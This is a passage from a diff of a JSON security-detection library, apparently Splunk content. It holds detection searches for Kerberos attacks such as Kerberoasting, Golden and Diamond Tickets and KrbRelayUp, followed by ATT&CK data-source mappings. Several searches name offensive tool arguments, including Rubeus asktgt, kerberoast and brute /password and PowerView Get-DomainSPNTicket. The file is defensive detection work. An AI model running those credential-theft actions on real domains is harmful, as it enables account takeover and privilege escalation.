"mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kerberos Service Ticket Request Using RC4 Encryption", - "description": "The following analytic detects Kerberos service ticket requests using RC4 encryption, leveraging Kerberos Event 4769. This method identifies potential Golden Ticket attacks, where adversaries forge Kerberos Granting Tickets (TGT) using the Krbtgt account NTLM password hash to gain unrestricted access to an Active Directory environment. Monitoring for RC4 encryption usage is significant as it is rare in modern networks, indicating possible malicious activity. If confirmed malicious, attackers could move laterally and execute code on remote systems, compromising the entire network. Note: This detection may be bypassed if attackers use the AES key instead of the NTLM hash.", - "search": " `wineventlog_security` EventCode=4769 ServiceName=\"*$\" (TicketOptions=0x40810000 OR TicketOptions=0x40800000 OR TicketOptions=0x40810010) TicketEncryptionType=0x17 | stats count min(_time) as firstTime max(_time) as lastTime by dest, service, service_id, TicketEncryptionType, TicketOptions | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `kerberos_service_ticket_request_using_rc4_encryption_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Kerberos Service TTicket request with RC4 encryption was requested from $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.001", - "mitre_attack_technique": "Golden Ticket", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Ke3chang" - ] - } - ] - } - }, - { - "name": "Rubeus Command Line Parameters", - "description": "The following analytic detects the use of Rubeus command line parameters, a toolset for Kerberos attacks within Active Directory environments. It leverages Endpoint Detection and Response (EDR) data to identify specific command-line arguments associated with actions like ticket manipulation, kerberoasting, and password spraying. This activity is significant as Rubeus is commonly used by adversaries to exploit Kerberos for privilege escalation and lateral movement. If confirmed malicious, this could lead to unauthorized access, persistence, and potential compromise of sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*ptt /ticket*\" OR Processes.process = \"* monitor /interval*\" OR Processes.process =\"* asktgt* /user:*\" OR Processes.process =\"* asktgs* /service:*\" OR Processes.process =\"* golden* /user:*\" OR Processes.process =\"* silver* /service:*\" OR Processes.process =\"* kerberoast*\" OR Processes.process =\"* asreproast*\" OR Processes.process = \"* renew* /ticket:*\" OR Processes.process = \"* brute* /password:*\" OR Processes.process = \"* brute* /passwords:*\" OR Processes.process =\"* harvest*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rubeus_command_line_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Rubeus command line parameters were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - }, - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Unusual Number of Kerberos Service Tickets Requested", - "description": "The following analytic identifies an unusual number of Kerberos service ticket requests, potentially indicating a kerberoasting attack. It leverages Kerberos Event 4769 and calculates the standard deviation for each host, using the 3-sigma rule to detect anomalies. This activity is significant as kerberoasting allows adversaries to request service tickets and crack them offline, potentially gaining privileged access to the domain. If confirmed malicious, this could lead to unauthorized access to sensitive accounts and escalation of privileges within the Active Directory environment.", - "search": " `wineventlog_security` EventCode=4769 ServiceName!=\"*$\" TicketEncryptionType=0x17 | bucket span=2m _time | stats dc(ServiceName) AS unique_services values(ServiceName) as requested_services by _time, src | eventstats avg(unique_services) as comp_avg , stdev(unique_services) as comp_std by src | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_services > 2 and unique_services >= upperBound, 1, 0) | search isOutlier=1 | `unusual_number_of_kerberos_service_tickets_requested_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Computer Account Created by Computer Account", - "description": "The following analytic identifies a computer account creating a new computer account with a specific Service Principal Name (SPN) \"RestrictedKrbHost\". This detection leverages Windows Security Event Logs, specifically EventCode 4741, to identify such activities. This behavior is significant as it may indicate an attempt to establish unauthorized Kerberos authentication channels, potentially leading to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to impersonate services, access sensitive information, or maintain persistence within the network.", - "search": "`wineventlog_security` EventCode=4741 user_type=computer SubjectDomainName!=\"NT AUTHORITY\" ServicePrincipalNames=*RestrictedKrbHost* | stats count min(_time) as firstTime max(_time) as lastTime by dest, subject, action ,src_user, user, user_type, SubjectUserName,SubjectDomainName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_computer_account_created_by_computer_account_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Local Privilege Escalation With KrbRelayUp" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Computer Account on $dest$ created by a computer account (possibly indicative of Kerberos relay attack).", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Computer Account Requesting Kerberos Ticket", - "description": "The following analytic detects a computer account requesting a Kerberos ticket, which is unusual as typically user accounts request these tickets. This detection leverages Windows Security Event Logs, specifically EventCode 4768, to identify instances where the TargetUserName ends with a dollar sign ($), indicating a computer account. This activity is significant because it may indicate the use of tools like KrbUpRelay or other Kerberos-based attacks. If confirmed malicious, this could allow attackers to impersonate computer accounts, potentially leading to unauthorized access and lateral movement within the network.", - "search": "`wineventlog_security` EventCode=4768 TargetUserName=\"*$\" src_ip!=\"::1\" | stats count min(_time) as firstTime max(_time) as lastTime by dest, subject, action, user, TargetUserName, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_computer_account_requesting_kerberos_ticket_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Local Privilege Escalation With KrbRelayUp" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Computer Account requested a Kerberos ticket on $dest$, possibly indicative of Kerberos relay attack.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Computer Account With SPN", - "description": "The following analytic detects the addition of Service Principal Names (SPNs) HOST and RestrictedKrbHost to a computer account, indicative of KrbRelayUp behavior. This detection leverages Windows Security Event Logs, specifically EventCode 4741, to identify changes in SPNs. This activity is significant as it is commonly associated with Kerberos-based attacks, which can be used to escalate privileges or perform lateral movement within a network. If confirmed malicious, this behavior could allow an attacker to impersonate services, potentially leading to unauthorized access to sensitive resources.", - "search": "`wineventlog_security` EventCode=4741 NewUacValue=\"0x80\" ServicePrincipalNames IN (\"*HOST/*\",\"*RestrictedKrbHost/*\") | stats count min(_time) as firstTime max(_time) as lastTime values(EventCode),values(TargetDomainName),values(PrimaryGroupId), values(OldUacValue), values(NewUacValue),values(SamAccountName),values(DnsHostName),values(ServicePrincipalNames) by dest Logon_ID subject | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_computer_account_with_spn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Local Privilege Escalation With KrbRelayUp" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Computer Account was created with SPNs related to Kerberos on $dest$, possibly indicative of Kerberos relay attack.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Domain Admin Impersonation Indicator", - "description": "The following analytic identifies potential Kerberos ticket forging attacks, specifically the Diamond Ticket attack. This is detected when a user logs into a host and the GroupMembership field in event 4627 indicates a privileged group (e.g., Domain Admins), but the user does not actually belong to that group in the directory service. The detection leverages Windows Security Event Log 4627, which logs account logon events. The analytic cross-references the GroupMembership field from the event against a pre-populated lookup of actual group memberships. Its crucial to note that the accuracy and effectiveness of this detection heavily rely on the users diligence in populating and regularly updating this lookup table. Any discrepancies between the events GroupMembership and the lookup indicate potential ticket forging. Kerberos ticket forging, especially the Diamond Ticket attack, allows attackers to impersonate any user and potentially gain unauthorized access to resources. By forging a ticket that indicates membership in a privileged group, an attacker can bypass security controls and gain elevated privileges. Detecting such discrepancies in group memberships during logon events can be a strong indicator of this attack in progress, making it crucial for security teams to monitor and investigate. If validated as a true positive, this indicates that an attacker has successfully forged a Kerberos ticket and may have gained unauthorized access to critical resources, potentially with elevated privileges.", - "search": " `wineventlog_security` EventCode=4627 LogonType=3 NOT TargetUserName IN (\"*$\", \"SYSTEM\", \"DWM-*\",\"LOCAL SERVICE\",\"NETWORK SERVICE\", \"ANONYMOUS LOGON\", \"UMFD-*\") | where match(GroupMembership, \"Domain Admins\") | stats count by _time, TargetUserName, GroupMembership, host | lookup domain_admins username as TargetUserName OUTPUT username | fillnull value=NotDA username | search username = \"NotDA\" | `windows_domain_admin_impersonation_indicator_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "TargetUserName", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$TargetUserName$ may be impersonating a Domain Administrator through a forged Kerberos ticket.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Kerberos Local Successful Logon", - "description": "The following analytic identifies a local successful authentication event on a Windows endpoint using the Kerberos package. It detects EventCode 4624 with LogonType 3 and source address 127.0.0.1, indicating a login to the built-in local Administrator account. This activity is significant as it may suggest a Kerberos relay attack, a method attackers use to escalate privileges. If confirmed malicious, this could allow an attacker to gain unauthorized access to sensitive systems, execute arbitrary code, or create new accounts in Active Directory, leading to potential system compromise.", - "search": "`wineventlog_security` EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos action=success src=127.0.0.1 | stats count min(_time) as firstTime max(_time) as lastTime by dest, subject, action, SubjectLogonId, user, TargetUserName, src | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_kerberos_local_successful_logon_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Local Privilege Escalation With KrbRelayUp" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A successful localhost Kerberos authentication event occurred on $dest$, possibly indicative of Kerberos relay attack.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerView Kerberos Service Ticket Request", - "description": "The following analytic detects the execution of the `Get-DomainSPNTicket` commandlet, part of the PowerView tool, by leveraging PowerShell Script Block Logging (EventCode=4104). This commandlet requests Kerberos service tickets for specified service principal names (SPNs). Monitoring this activity is crucial as it can indicate attempts to perform Kerberoasting, a technique used to extract SPN account passwords via cracking tools like hashcat. If confirmed malicious, this activity could allow attackers to gain unauthorized access to sensitive accounts, potentially leading to privilege escalation and further network compromise.", - "search": "`powershell` EventCode=4104 ScriptBlockText=*Get-DomainSPNTicket* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_kerberos_service_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView commandlets used for requesting SPN service ticket executed on $dest$", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PowerView SPN Discovery", - "description": "The following analytic detects the execution of the `Get-DomainUser` or `Get-NetUser` PowerShell cmdlets with the `-SPN` parameter, indicating the use of PowerView for SPN discovery. It leverages PowerShell Script Block Logging (EventCode=4104) to identify these specific commands. This activity is significant as it suggests an attempt to enumerate domain accounts associated with Service Principal Names (SPNs), a common precursor to Kerberoasting attacks. If confirmed malicious, this could allow an attacker to identify and target accounts for credential theft, potentially leading to unauthorized access and privilege escalation within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText =*Get-NetUser* OR ScriptBlockText=*Get-DomainUser*) ScriptBlockText= *-SPN* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_powerview_spn_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView commandlets used for SPN discovery executed on $dest$", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Steal or Forge Kerberos Tickets Klist", - "description": "The following analytic identifies the execution of the Windows OS tool klist.exe, often used by post-exploitation tools like winpeas. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process details. Monitoring klist.exe is significant as it can indicate attempts to list or gather cached Kerberos tickets, which are crucial for lateral movement or privilege escalation. If confirmed malicious, this activity could enable attackers to move laterally within the network or escalate privileges, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"klist.exe\" OR Processes.original_file_name = \"klist.exe\" Processes.parent_process_name IN (\"cmd.exe\", \"powershell*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_or_forge_kerberos_tickets_klist_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process klist.exe executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -268828,349 +191823,12 @@ "ATT&CK", "CTID" ], - "data_component": "process creation", - "type": "activity", - "description": "A process was created.", - "source_data_element": "process", - "relationship": "created", - "target_data_element": "thread", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file access", - "type": "activity", - "description": "A file was opened or accessed.", - "source_data_element": "user", - "relationship": "accessed", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file access", - "type": "activity", - "description": "A file was opened or accessed.", - "source_data_element": "process", - "relationship": "accessed", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file access", - "type": "activity", - "description": "A file was opened or accessed.", - "source_data_element": "user", - "relationship": "requested access to", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file access", - "type": "activity", - "description": "A file was opened or accessed.", - "source_data_element": "process", - "relationship": "requested access to", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "os api execution", - "type": "activity", - "description": "A process executed operating system api functions.", - "source_data_element": "process", - "relationship": "executed", - "target_data_element": "api call", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "os api execution", - "type": "activity", - "description": "A process executed operating system api functions.", - "source_data_element": "process", - "relationship": "executed", - "target_data_element": "system call", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" - ] - }, - { - "technique_id": "T1555", - "technique": "Credentials from Password Stores", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "process access", + "data_component": "process creation", "type": "activity", - "description": "A process was accessed.", + "description": "A process was created.", "source_data_element": "process", - "relationship": "accessed", - "target_data_element": "process", + "relationship": "created", + "target_data_element": "thread", "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] @@ -269186,476 +191844,366 @@ "macOS", "Windows" ], - "data_source": "process", - "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", "collection_layers": [ "host" ], "data_source_platform": [ "Windows", "Linux", - "macOS" + "macOS", + "Network" ], "contributors": [ "ATT&CK", "CTID" ], - "data_component": "process access", + "data_component": "file access", "type": "activity", - "description": "A process was accessed.", + "description": "A file was opened or accessed.", + "source_data_element": "user", + "relationship": "accessed", + "target_data_element": "file", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" + ] + }, + { + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "file access", + "type": "activity", + "description": "A file was opened or accessed.", "source_data_element": "process", + "relationship": "accessed", + "target_data_element": "file", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" + ] + }, + { + "technique_id": "T1555", + "technique": "Credentials from Password Stores", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "file access", + 